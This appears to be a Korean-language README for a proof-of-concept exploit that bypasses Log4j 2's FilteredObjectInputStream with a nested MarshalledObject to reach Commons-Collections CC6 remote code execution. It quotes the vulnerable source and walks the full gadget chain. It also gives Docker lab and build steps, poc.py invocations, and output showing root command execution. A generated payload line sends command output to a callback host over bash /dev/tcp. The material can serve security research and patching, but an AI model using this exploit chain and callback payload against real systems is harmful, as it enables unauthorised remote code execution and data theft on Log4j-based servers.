// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // 필터 없는 ObjectInputStream
        } catch (final Exception ex) {
            // 무시
        }
    }
    return new SimpleMessage(messageString);
}

// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // 필터링된 내부 스트림 생성
}

공격자                                   대상 (FOIS 기반 수신기)
   |                                              |
   |  HTTP POST /log                              |
   |  본문: 직렬화된 LogEventProxy                |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j 패키지
   |                   ├── resolveClass(MarshalledObject)  ✓ 허용 목록
   |                   └── resolveClass(byte[])            ✓ 기본형
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   필터 없음
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

cd exploit && mvn package -q -DskipTests && cd ..

# --lhost는 대상에서 접근 가능한 IP
# 동일 호스트의 Docker 랩인 경우 docker0 브리지 IP 사용
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

log4j2-rce/
├── README.md
├── poc.py                          # 익스플로잇 스크립트
├── exploit/                        # 공격자 (호스트에서 실행)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # writeReplace()가 있는 Message
└── lab/                            # 피해자 (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # FOIS를 사용하는 HTTP 엔드포인트

docker rm -f fois-lab
docker rmi fois-bypass-lab